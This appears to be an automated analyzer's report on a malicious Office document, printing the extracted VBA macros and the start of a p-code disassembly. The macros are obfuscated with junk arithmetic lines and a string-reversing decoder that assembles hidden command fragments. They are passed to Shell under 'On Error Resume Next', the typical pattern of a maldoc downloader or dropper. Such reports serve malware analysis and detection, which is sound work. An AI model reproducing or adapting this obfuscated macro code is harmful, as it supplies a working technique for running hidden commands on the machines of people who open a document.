FRwDjT = EbYEjV + Sgn(65255 - NfWNCi - UARvL + Fix(30648)) - 49512 - CDbl(24084)
HMOBnw = DNvLA
TKUwBr = qqIOk
vmkHPi = 28638
BIzao = JOikPS + Sgn(78045 - GwGQs - wZAij + Fix(5104)) - 22831 - CDbl(90113)
wpYIHP = RbXMqf
GSNXvI = wqFEd
IQrliO = 45084
MzaKAjr = QcuNQH("f8%5k%5vA", 67688 + 5 - 67688, 67688 + 1 - 67688)
urKhHI = isjjQc + Sgn(89556 - VfQmp - zSDdnp + Fix(424)) - 68872 - CDbl(72642)
cIPLaC = nAUTzZ
MzNAW = Obijv
HDUSh = 90666
KMcWWT = msFqPu + Sgn(33686 - GMUiN - mfwjLR + Fix(51057)) - 62457 - CDbl(85966)
WMzsVE = SEDXLc
uYtpt = VjBHYh
nKCZFz = 27977
jupqWoaUFiS = QcuNQH("p3CqkfDA%F", 12948 + 2 - 12948, 12948 + 3 - 12948)
DzZBC = CaKDa + Sgn(5411 - onXlmH - qLpTo + Fix(46578)) - 15279 - CDbl(15390)
iRMNw = aToqVT
rEwiz = XioSst
sHFNiI = 89032
HGaww = OiYazd + Sgn(45661 - MPfVj - VzERkV + Fix(74271)) - 62218 - CDbl(25824)
PDzjwt = ErKips
vLwiM = Ynltw
BILdp = 65840
HFImMS = QcuNQH("VG8k=%FiOVBqLTk8", 47588 + 4 - 47588, 47588 + 10 - 47588)
jLtio = TjadW + Sgn(23570 - HhVZXI - zRbRG + Fix(71492)) - 80797 - CDbl(84491)
tNUwZJ = BhJWt
zJPhSA = nmGhO
RjcXD = 33671
oHHmY = LNsuI + Sgn(88044 - wKWcO - pkwkM + Fix(91737)) - 9301 - CDbl(50076)
mOfIu = lrcqiA
vWnqN = vWkEui
oqXvq = 38631
Mnqtb = QcuNQH("87O3!%jisOnRVblscj%!!%qlN", 52502 + 4 - 52502, 52502 + 18 - 52502)
wbdOzz = NTtmj + Sgn(13603 - obwViV - qCKlaj + Fix(8621)) - 90856 - CDbl(39278)
zKIPUt = qNSiD
RKbnzO = ZIwNIY
dZTMR = 97943
sNEQdl = ArpUwi + Sgn(99981 - iZYYH - YiMzk + Fix(77570)) - 58549 - CDbl(20733)
FIjlL = rvaSpG
ZGBBhK = OzsRbU
rTtwEq = 56513
dFXSkEuCfTu = QcuNQH("0%% tes TpQLlw", 24627 + 8 - 24627, 24627 + 5 - 24627)
LNtojq = wFRSmF + Sgn(11389 - iGUizH - SKrIz + Fix(54454)) - 63480 - CDbl(42212)
QIouoI = dqlwmz
idlXK = jMdcvu
wXqBRk = 62537
OthRrJ = Xnlwn + Sgn(18418 - IPCiO - jlpqc + Fix(75418)) - 67065 - CDbl(48341)
IICXQk = dwJGX
qrcLk = KXlDn
zdDrp = 8751
GJzwpHIhXj = QcuNQH("InTwsNzQYs", 3557 + 3 - 3557, 3557 + 4 - 3557)
oiidwQ = TzlGZI + Sgn(68977 - vwNQC - ORXEOW + Fix(38296)) - 14632 - CDbl(14264)
HEfjjM = jvsjM
idfQii = dYCsZ
GYhuY = 23154
zmhrs = LjiiuP + Sgn(81834 - ZfVaN - BJqrAf + Fix(36556)) - 98702 - CDbl(81543)
GilHs = jmBiI
wwwzb = QOEGw
JnwpqM = 63442
pwjdvpGU = QcuNQH("0f3sOnRVblscj.TIqTa", 81642 + 7 - 81642, 81642 + 10 - 81642)
tVbPd = VUvjZf + Sgn(50180 - KrtCEA - cHzjow + Fix(8344)) - 15937 - CDbl(89203)
oBvNdW = TswvSV
TWOdEw = HjdROc
pkRMBo = 70187
Clsco = jdHHpa + Sgn(28281 - tfjwdI - BsEkPV + Fix(80715)) - 95560 - CDbl(95437)
LnqiSQ = wirhwv
idFbst = AMkAs
rYRtfJ = 18782
QiBcSjB = QcuNQH("pis4i9esR", 57879 + 2 - 57879, 57879 + 2 - 57879)
mYVaPz = zQtEwW + Sgn(11634 - QOFEsK - FdZcrX + Fix(25428)) - 95512 - CDbl(3173)
mErFkA = vFBwqw
SlmBia = RTMSr
nFcmT = 85232
qbwjjb = pmpch + Sgn(95733 - UoLjCL - VPhnJi + Fix(37486)) - 35200 - CDbl(22685)
wowzEm = CnadW
YiCsp = TGzRIU
Pvass = 44329
UzZZazcck = QcuNQH("5U7ITw% 5q%st5", 32115 + 7 - 32115, 32115 + 5 - 32115)
FdtBwP = AjOlz + Sgn(98908 - IEGqd - sczWo + Fix(59214)) - 86934 - CDbl(44448)
cuhGv = vpBtas
ZkjIU = HqTCP
iciWMT = 42156
sEVzt = GpDwBl + Sgn(14548 - bzUao - iawzdz + Fix(69468)) - 24963 - CDbl(35)
sRSRQ = sPBqf
ntuMIF = TXHJX
SGXUuB = 87456
fBuUHvijbzd = QcuNQH("cLWL!%A", 58698 + 3 - 58698, 58698 + 1 - 58698)
lEjSqz = GEYwL + Sgn(65764 - ECRrip - ukHviw + Fix(35446)) - 40266 - CDbl(91837)
olGCo = tRGUN
iLLEj = UCDXD
qTcWL = 2049
wIvEC = UWRqvD + Sgn(15200 - wYrTiJ - wzAjkn + Fix(73815)) - 26928 - CDbl(77492)
BmcsV = qGQwvS
UhnEA = nDjQiz
vXSwi = 16106
BVjjLIBHhV = QcuNQH("twOz%tBuj% tes&&w^o=%hkfo", 69600 + 4 - 69600, 69600 + 17 - 69600)
cuRfBc = BNNLmf + Sgn(91363 - zzjlRA - RWttK + Fix(62943)) - 35866 - CDbl(76850)
QnqZa = HCYAm
WFwTPP = VNwrc
culIR = 29634
FmZkV = MQqhLj + Sgn(74303 - JnitB - CaNucu + Fix(8380)) - 84450 - CDbl(24635)
noWsj = OrhcB
XlaYst = hXHtUD
ZiIavU = 7907
wYzrv = QcuNQH("5B8D!%zWKNHjrnw%!dID%B", 66165 + 6 - 66165, 66165 + 13 - 66165)
uXMuj = YrLZfL + Sgn(6738 - UDCKzf - fvCoF + Fix(90596)) - 69337 - CDbl(68143)
hjmFq = LwNEI
wTpraz = EYkWY
OcKGb = 89203
lfTNJ = MrwaEi + Sgn(77165 - GvVhC - RCDUJ + Fix(52298)) - 93001 - CDbl(99313)
nBafuK = IIlIwT
PmdXT = BVRUWl
cwEijN = 86030
WXpdvf = QcuNQH("SatesILwLoEI", 77011 + 8 - 77011, 77011 + 3 - 77011)
ZiCtD = mNwtJ + Sgn(96043 - oifDcD - SjFJJb + Fix(12854)) - 19600 - CDbl(7280)
ZlaFq = biQYP
VaMnu = QZfGJv
qYsjbQ = 54203
cFJRW = PjXpmh + Sgn(90567 - FTGDs - oswzc + Fix(48192)) - 10176 - CDbl(40129)
rTnHW = cVEfz
laDiwb = osiWP
ikJJoz = 87051
whMmJVXuij = QcuNQH("C8Unlobmh%!w", 18756 + 2 - 18756, 18756 + 5 - 18756)
PjWzaY = czBXuu + Sgn(6215 - sRfzq - bMwYXn + Fix(71518)) - 37071 - CDbl(22064)
hEhWu = jWCaLu
zUofSQ = IzCOnT
aCkCJ = 73982
cqikB = nvoPBq + Sgn(65607 - zzkKb - bjtozL + Fix(36270)) - 22224 - CDbl(15834)
UfYUV = bomnE
kamiZ = bzXzB
zvwpl = 80598
CIKjqON = QcuNQH("rrAC.QNjizSDA%!!%IICrzF", 70799 + 2 - 70799, 70799 + 17 - 70799)
cndvW = NfqYw + Sgn(46151 - pEwSBR - KkInWd + Fix(6987)) - 45180 - CDbl(48672)
lCwRc = HfQQLd
bbZNfs = doUDMr
pZsNpG = 63040
ZtIod = MLpCwX + Sgn(33466 - qHpIrW - UvDzi + Fix(7025)) - 70909 - CDbl(7476)
KwwPr = HiDPlt
tuGjw = zZhBr
EwFozs = 53388
jbjYw = QcuNQH("pc8bLAYwpqTNX% tes&&p=%bc0", 74669 + 3 - 74669, 74669 + 18 - 74669)
WsCaB = GzGEcl + Sgn(57952 - BItzFV - tduFW + Fix(74785)) - 71840 - CDbl(4246)
DWJmwB = ffQIzS
ZGPEwz = CnFCcO
VfvVz = 25704
ZAVii = XSRkLl + Sgn(38740 - zoaHF - qbwFP + Fix(43356)) - 69595 - CDbl(4350)
RiQvin = AqioVw
lMXMnh = rMVuj
CPTIHV = 79981
ikIok = QcuNQH("sa0% 9nn", 1955 + 4 - 1955, 1955 + 2 - 1955)
FuqqlL = kYQotu + Sgn(23792 - rKzUNa - vBzqj + Fix(72589)) - 43147 - CDbl(50383)
zGhfSh = BWcGo
FmDqW = wKAcZo
ptvbBO = 97082
cRHwm = jKwuw + Sgn(26933 - YTHbqn - nzzYz + Fix(63918)) - 61367 - CDbl(44729)
QYOzRr = FtWCI
TQtoVC = OBTHP
cRjwFV = 18210
XrDYbtu = QcuNQH("HfOAGElHKKZKHq% t3Trcm", 68584 + 6 - 68584, 68584 + 13 - 68584)
iViQW = OCiUkM + Sgn(80617 - jfKLdC - OEGhk + Fix(27547)) - 75009 - CDbl(42130)
RhwYlu = XwUGL
zWDrw = EltrGB
QbjmS = 52578
skTAH = HRETi + Sgn(46515 - AAhcrJ - DaPZk + Fix(24202)) - 64573 - CDbl(27295)
HnOjsr = jGKQG
MVosbj = IdrWj
RUtPv = 66328
BUAFpCSznwz = QcuNQH("D55V0S^e=%IICrztzGRCtkp", 63072 + 3 - 63072, 63072 + 15 - 63072)
bwjQoq = mBWht + Sgn(7173 - Ouksl - Chdws + Fix(1527)) - 58929 - CDbl(49190)
mqPhNP = oYDkX
GHKcf = DaJWJ
qtSkXn = 22542
XMHfkDqpaNMz = QiBcSjB + XrDYbtu + ZBUVS + WXpdvf + UzZZazcck + pKOoJzBvsq + jbjYw + NGBCjA + BVjjLIBHhV + GJzwpHIhXj + LjjZviwk + zqZcl + OGMwthJdMbQ + YwoFvvAXwQk + HFImMS + VPfBwNds + JJjCdcYB + BUAFpCSznwz + WoGopqlt + qiIzzckYlt + QAiaFozSPVO + pvkbWozEJz + jupqWoaUFiS + zzTZcQ + ikIok + LVZmQrzawR + KWVPGizzjB + owqHwiin + pwjdvpGU + ILpcnWkYjd + dFXSkEuCfTu + ELcml + zOfbZl + wYzrv + whMmJVXuij + HjAEGiu + CIKjqON + MzaKAjr + zFpKdzzNa + Mnqtb + IUWwpBbOKRE + juUfOKkDPnZ + fBuUHvijbzd + FtDKSmt
sOjRLp = wFLpAc + Sgn(56649 - WmPVdV - dTFAX + Fix(43116)) - 93274 - CDbl(7514)
QZojr = sQpEEU
hIEMSw = ISiNZl
MLSaC = 3060
wYdPb = sEnAK + Sgn(70047 - vKpll - UdtYfk + Fix(71074)) - 55273 - CDbl(27382)
iHiZfj = EsjOWJ
zqVROz = zPqBnD
wiqdd = 47585
End Function

Attribute VB_Name = "tfLlLNl"
Sub EawTDb(PTOQni)
nXrjwG = qkskk + Sgn(7691 - JjCkG - KQDTz + Fix(48499)) - 17953 - CDbl(27669)
PNkVB = otfQii
qGjSX = GnLjhb
XTYhXz = 254
UizPC = VnXTc + Sgn(55675 - awkhCf - jEhDu + Fix(40440)) - 39881 - CDbl(38894)
zshiv = bjDUL
AnMEwk = WnzVSr
PzvVhz = 2841
End Sub
Sub tCRGztzrCII(ADSzijNQkGKiz As String)
On Error Resume Next
ZbvwA = VAihT + Sgn(46291 - QUzvkX - hwXOmM + Fix(11342)) - 56830 - CDbl(76475)
nNiiOl = zktBn
owTzz = wZwaEk
EjMows = 24823
tFpBCj = vAiwuc + Sgn(66812 - SMGAr - rnizm + Fix(63824)) - 55652 - CDbl(75856)
vJaavs = zztGiw
IqzVQt = rrVnCS
DPCNH = 8096
[Shell] mTCnXoOJHkd + Chr(vbKeyC) + ADSzijNQkGKiz + qWHnLMtUDREms + TtiqtWsNVW, mTMfLD + 0 + mTMfLD
hsFMij = KHbnwb + Sgn(81898 - OjfVP - uzUUb + Fix(32253)) - 83296 - CDbl(12399)
dBkqi = nHUhT
kwfzGA = IIhzHh
vlrHTt = 7317
zmLlM = acLnvn + Sgn(18971 - oXUQwz - vBdIrY + Fix(4821)) - 30253 - CDbl(24906)
aYiBt = VnNijW
Ltczz = nCvGM
khcUG = 45788
End Sub

Attribute VB_Name = "wYVPizul"
Function ckPNZp(PObFv)
LiSSz = EsTGK + Sgn(37450 - nqizA - inZKr + Fix(99333)) - 55017 - CDbl(91282)
NFfSR = MqzMw
hGJiEt = BbkQb
MmmTb = 35740
NofNb = CzaAhl + Sgn(4579 - BhQjm - btocp + Fix(8573)) - 29356 - CDbl(9315)
aWVubY = awDMrB
bDfYmL = WmoMv
zCYWd = 94809
zdLra = IGTdaO + Sgn(50095 - NZJfc - hEkhhj + Fix(9050)) - 88726 - CDbl(45555)
jjunb = rozuCw
IOwUB = dOqADj
tiJunN = 67118
zrUmqQ = VhhqiC + Sgn(52545 - jLCIu - piqGj + Fix(8730)) - 26169 - CDbl(58337)
HpPGL = diLVv
ISMwsR = aikFo
HIdfJL = 39309
End Function
Function iaBTvQ(FdrnzQ)
QdIomC = VXjaU + Sgn(6557 - zCCJa - isKfw + Fix(3522)) - 27960 - CDbl(39317)
tSpVb = zXUYRn
DSsbM = FaodYP
XTdrk = 77380
PiRlzc = AfhlJ + Sgn(27474 - osmUp - OiEoRF + Fix(48298)) - 39690 - CDbl(62663)
codDtZ = GckMF
GsPBji = qXvHVl
cUtDB = 37858
FzfKcP = jsEUIj + Sgn(95583 - BEslGD - sViIz + Fix(44828)) - 73218 - CDbl(67423)
LlJBvj = DThKiq
MBbjSo = PNizE
cUQVu = 18107
IWZwB = OpSYt + Sgn(52020 - iWGXq - uWvYb + Fix(4001)) - 81385 - CDbl(48751)
jCMPV = ipcfi
aUwopY = bFOsi
OAMwzu = 21627
End Function
Function QcuNQH(ByVal wnrjHNKWz As String, tzAYPOUSmWAuFq, jcslbVRnOsij)
On Error Resume Next
zGPMdF = DhdrMT + Sgn(38865 - wjmdn - IUKipG + Fix(35332)) - 34327 - CDbl(82118)
lTGaOh = LSUYYk
SGuwN = KQYvr
EiozQl = 82067
hmbNpZSuh = GsNtnRHaKSYkkJ + Mid(iLTDcUVv + StrReverse(wnrjHNKWz) + jdcwXSE, hluZtALwHjFF + tzAYPOUSmWAuFq + GAvOFowhO, jcslbVRnOsij) + kzCKKpJDsN
DzPqoK = HVkPp + Sgn(76165 - chkRiI - TGJcr + Fix(80964)) - 2866 - CDbl(14292)
jNslDB = YRdoat
UHOihH = lNFfk
FNwUGA = 44805
QcuNQH = CzBZb + hmbNpZSuh + MABTf
LoVcI = zYvAm + Sgn(11226 - HZKVI - aWrSJM + Fix(16785)) - 12306 - CDbl(10964)
kLlAK = RsTMmA
HCKwGT = BfslFD
WLQzN = 88767
KoBFI = IRBwv + Sgn(49796 - jQwQC - dLFTzu + Fix(12993)) - 26638 - CDbl(90488)
DNZGnz = JqztT
dwqfjk = MzwaQ
EVBKC = 23257
End Function
Function kzjWT(mCpaFt)
bbXJP = doUEQw + Sgn(79481 - ssIfvh - zjMTL + Fix(92291)) - 97567 - CDbl(7303)
ZrjHY = zrvbiY
tSXiz = JjuKMD
vKpDii = 71505
iZSiOP = RkTwij + Sgn(75003 - whwFur - hUDwhn + Fix(3391)) - 84966 - CDbl(94373)
nTOtF = idOPKq
UsIQt = fZqFA
ziRiHP = 84505
tvQYA = kQbfcU + Sgn(81393 - jDYXI - RfwNO + Fix(2344)) - 14852 - CDbl(34576)
vGzSU = ZcjPC
PzLdfB = vOJkHW
OwCKz = 67454
zjYcC = lJbpH + Sgn(11175 - Bilkjz - WCmWs + Fix(92882)) - 29036 - CDbl(12243)
aZQTSP = mBdfG
mUcBlD = NSbATw
tCjGHf = 65411
End Function
Function WRwkrjYNrl()
On Error Resume Next
PrmSm = wiGTJ + Sgn(70452 - StrKL - NIwPAW + Fix(36613)) - 45555 - CDbl(69401)
XYbEm = lOTRP
jVjJL = bIrvvE
sQblv = 36508
HbzDhH = XAEQJq + Sgn(49603 - YrVbf - jHPVmz + Fix(65219)) - 17365 - CDbl(62327)
SkYTBT = EuMmNu
wiswk = zTJFbU
huIQOU = 22880
UGTJlSXu = QcuNQH("WcajktC  5i", 57049 + 3 - 57049, 57049 + 2 - 57049)
ZSGQEw = hTzSM + Sgn(82871 - HGjYs - zaSrhj + Fix(26231)) - 19093 - CDbl(74377)
YtiaYL = ijrjlq
JHsJm = jpcQw
APiVjH = 89287
pRpLVp = jdpiNu + Sgn(53747 - mmGjd - jLQzP + Fix(67300)) - 27504 - CDbl(29604)
EFVESt = MOHLzP
nBfWb = GYUHSF
ZMGGb = 33832
wmdzUCOm = QcuNQH("Do  V/     ioA6t", 43187 + 6 - 43187, 43187 + 9 - 43187)
kdrpJZ = ZscRSU + Sgn(20139 - zjMmmj - lOmNna + Fix(941)) - 14198 - CDbl(1969)
hYPKKq = Bqjjs
AkvzPX = piKFsd
vmMZl = 51979
UwVuTt = WjHRiW + Sgn(47381 - jOTCX - zfDkiw + Fix(13786)) - 90918 - CDbl(22933)
fhdlkz = YKiul
ZUmjAH = kCvpW
SJowq = 51995
qVhNUTGs = QcuNQH("s2OFW zFhVLHizoCzIHLWBVFZb.I", 63964 + 3 - 63964, 63964 + 22 - 63964)
clwtm = kqurts + Sgn(23074 - dQsQGo - udmnP + Fix(33920)) - 63876 - CDbl(29949)
OoTOEo = ttYWQ
LCwKTo = wfjmRi
KFXKD = 51085
ZDKUsq = ZCCJlG + Sgn(76302 - dLzpVn - hYbDF + Fix(75191)) - 91037 - CDbl(52840)
PhjUwi = jSrlwR
OTwppj = EBBSVl
plAdbQ = 88301
hIBUfmBnhf = QcuNQH("fOVc0%^c^E^p^S^m^o^c^Bc", 21413 + 3 - 21413, 21413 + 16 - 21413)
XSAvd = WiCJQ + Sgn(72266 - jIzFv - LfiCb + Fix(94649)) - 78199 - CDbl(82773)
qHWBtJ = douCIh
wIEzf = cCYjF
ZpQZzp = 52672
ItWCr = UCqMv + Sgn(64284 - IipaVa - piAzI + Fix(68935)) - 39022 - CDbl(83061)
zVLwa = Hqtdcw
bhTzdc = rzLPXa
tYtHld = 58302
CPZJIboPiWl = QcuNQH("k0ia.1c^E^p^S^m^o^c^%     & vF.OM", 79700 + 4 - 79700, 79700 + 24 - 79700)
rkiQjb = jszLND + Sgn(36559 - LGrAjB - wbzwN + Fix(35447)) - 1033 - CDbl(41841)
VwjpiP = wPsQT
MNZat = Btcwpi
HQhNjf = 43392
pPkQTF = EYvBZj + Sgn(61195 - vzNSJj - zpzpq + Fix(67358)) - 62206 - CDbl(61831)
KwZkGQ = baFWb
TTEmPf = wfqGkP
QdPtYr = 9868
DzuNJcZisc = QcuNQH("aYUlljSKlhUTW5.%D", 13123 + 5 - 13123, 13123 + 10 - 13123)
dJuVfZ = sEMdCW + Sgn(62261 - DTBwri - TAqVH + Fix(95484)) - 21829 - CDbl(22606)
jscqvr = AKLnmt
NYksL = XvNLX
uiJRoh = 85865
SdCAl = fzwPp + Sgn(95613 - iznYm - HZCWSl + Fix(82253)) - 24659 - CDbl(29588)
idVSc = RhjVha
fIuQvi = VMmAZz
GkOus = 30163
VwHiORWRuB = QcuNQH("f. iHsMTzZffSZHOn dmkfRf", 26654 + 5 - 26654, 26654 + 18 - 26654)
OlTil = fGsRMj + Sgn(85675 - NXVvi - CVrUs + Fix(54992)) - 57402 - CDbl(21649)
RbpKGR = blJtQ
UVotH = sNtzKw
suwlJ = 13749
SOOJU = hEJNMP + Sgn(88630 - rRaPSJ - wZcTnE + Fix(68073)) - 68151 - CDbl(7933)
oclHo = inEwIK
YmMBQ = oNjla
olqhu = 96359
CoJYN = QcuNQH("po%i%w8z    c/   c", 39399 + 2 - 39399, 39399 + 9 - 39399)
FDYmI = CRscO + Sgn(21068 - mCDjaC - LPwHr + Fix(20842)) - 72794 - CDbl(99457)
rFKAm = TAAEd
GwlSa = jmhJGr
JpHRuz = 73468
vaCSA = BEOBu + Sgn(48815 - OGdaHV - irdZhk + Fix(62832)) - 18089 - CDbl(8115)
ihAwA = ZNjjV
IivrY = OvpbX
tDwck = 31110
dVWpUIlwu = QcuNQH("uo5d     w9a", 5563 + 4 - 5563, 5563 + 5 - 5563)
sAuTMY = OEDMXp + Sgn(17250 - juiqL - vIiGJ + Fix(53382)) - 11488 - CDbl(94169)
zdTDd = OPjSi
JrdEiP = UBwuEE
rPMCzo = 32775
pZUul = EkjoMd + Sgn(90909 - Lkqbt - ViYhuG + Fix(12727)) - 96085 - CDbl(17571)
KQMmA = inljK
JMQCL = SrPCnG
GAnAfm = 12611
UEGQQ = QcuNQH("61%     %^3Git8or", 99816 + 8 - 99816, 99816 + 8 - 99816)
biwQIJ = FCqJiE + Sgn(49082 - RruMf - pIdFv + Fix(87163)) - 22938 - CDbl(84301)
GzDphh = mDkUm
Ldcmh = VIkZbK
WTLNPm = 25546
Nzacb = zmmit + Sgn(71359 - TiLMc - otrdY + Fix(85321)) - 77500 - CDbl(76320)
dDkEUh = uKmMm
JfNkQs = WUJGa
cWTBjn = 46162
ftRwMTkT = QcuNQH("L5B2    .NACN", 30309 + 6 - 30309, 30309 + 4 - 30309)
IjwpQ = RoAZQP + Sgn(6609 - LQocwd - ItiiY + Fix(9764)) - 59368 - CDbl(50979)
CZONB = PvzJsi
jpKst = DNHru
zqTKs = 56469
NrXrAq = OAscml + Sgn(43610 - JoTfLT - vviUu + Fix(2027)) - 12025 - CDbl(90762)
HjFUcM = KCKwCV
EIwLjf = MRTqwc
fwhIF = 14167
WRwkrjYNrl = VwHiORWRuB + qVhNUTGs + DzuNJcZisc + CPZJIboPiWl + UEGQQ + hIBUfmBnhf + wmdzUCOm + ftRwMTkT + CoJYN + UGTJlSXu + dVWpUIlwu
GjCLw = JdBXUZ + Sgn(31790 - MwpZPu - Omdjkp + Fix(58608)) - 11591 - CDbl(55500)
wNJwcu = jpjiPv
WLfTw = jqMaru
fMAfX = 47472
OQjuij = NHcruL + Sgn(97324 - djqKl - babdWj + Fix(87632)) - 77193 - CDbl(19460)
XwWATm = afDOAP
AtVUn = vlhwnq
RMwjZ = 95838
End Function
Sub TwowFr(QfhiaL, dcNZB, hmQZM)
iUOiTo = PjDFX + Sgn(28390 - uiFzOM - jnkjKY + Fix(61310)) - 34278 - CDbl(64784)
PlcMcB = OtXvoZ
qKFXD = RKAzvh
wJQXzC = 45665
mliScH = VpjuNM + Sgn(86839 - SIOAOE - fQvXwE + Fix(55024)) - 830 - CDbl(96971)
ChEYWF = YjpKOB
RFJwO = BJlAGR
FIjso = 70819
End Sub
Sub Lfpbv()
obhPa = PcGtv + Sgn(58704 - PlsvDR - iVQAw + Fix(42187)) - 56616 - CDbl(85796)
lQiCK = ZcWapB
wPlOCV = TjlJq
TLhSE = 76056
UVcMc = VLQZdc + Sgn(6137 - WAOhTI - oBiYL + Fix(81490)) - 51333 - CDbl(25829)
DVCiYc = YmbzLD
Ihnfw = SklfB
TwnQku = 97089
End Sub

' Processing file: /opt/analyzer/scan_staging/b1448d8aac46445fad3bf4051da2c4ef.bin
' ===============================================================================
' Module streams:
' Macros/VBA/KYuUCFtI - 5062 bytes
' Line #0:
' 	FuncDefn (Sub YtRKc(Kopwr))
' Line #1:
' 	Ld kpSnwE 
' 	LitDI2 0x5B0E 
' 	Ld WpVBWp 
' 	Sub 
' 	Ld cJYQK 
' 	Sub 
' 	LitDI2 0x4B13 
' 	FnFix 
' 	Add 
' 	FnSgn 
' 	Add 
' 	LitDI2 0x1266 
' 	Sub 
' 	LitDI4 0x4244 0x0001 
' 	Coerce (Dbl) 
' 	Sub 
' 	St REqRWj 
' Line #2:
' 	Ld OcrCP 
' 	St FZkuh 
' Line #3:
' 	Ld wTzUqE 
' 	St GFVGQi 
' Line #4:
' 	LitDI4 0x7DF0 0x0001 
' 	St jsGWTh 
' Line #5:
' 	EndSub 
' Line #6:
' 	FuncDefn (Sub iXURwE(tJUZfV))
' Line #7:
' 	Ld CHEtpF 
' 	LitDI4 0x1A03 0x0001 
' 	Ld VVjhi 
' 	Sub 
' 	Ld Wwlwi 
' 	Sub 
' 	LitDI4 0x0E7D 0x0001 
' 	FnFix 
' 	Add 
' 	FnSgn 
' 	Add 
' 	LitDI4 0xB3B0 0x0000 
' 	Sub 
' 	LitDI4 0xC715 0x0000 
' 	Coerce (Dbl) 
' 	Sub 
' 	St DKtfO 
' Line #8:
' 	Ld cnTGua 
' 	St ARYGbo 
' Line #9:
' 	Ld okrzM 
' 	St bbrSE 
' Line #10:
' 	LitDI4 0xD012 0x0000 
' 	St FZvwiU 
' Line #11:
' 	Ld ZtvObP 
' 	LitDI4 0x646F 0x0001 
' 	Ld JWqRTD 
' 	Sub 
' 	Ld QZbutj 
' 	Sub 
' 	LitDI4 0xAEDE 0x0000 
' 	FnFix 
' 	Add 
' 	FnSgn 
' 	Add 
' 	LitDI4 0xF5FA 0x0000 
…

Open this report in the interactive analyzer, or submit your own file for analysis.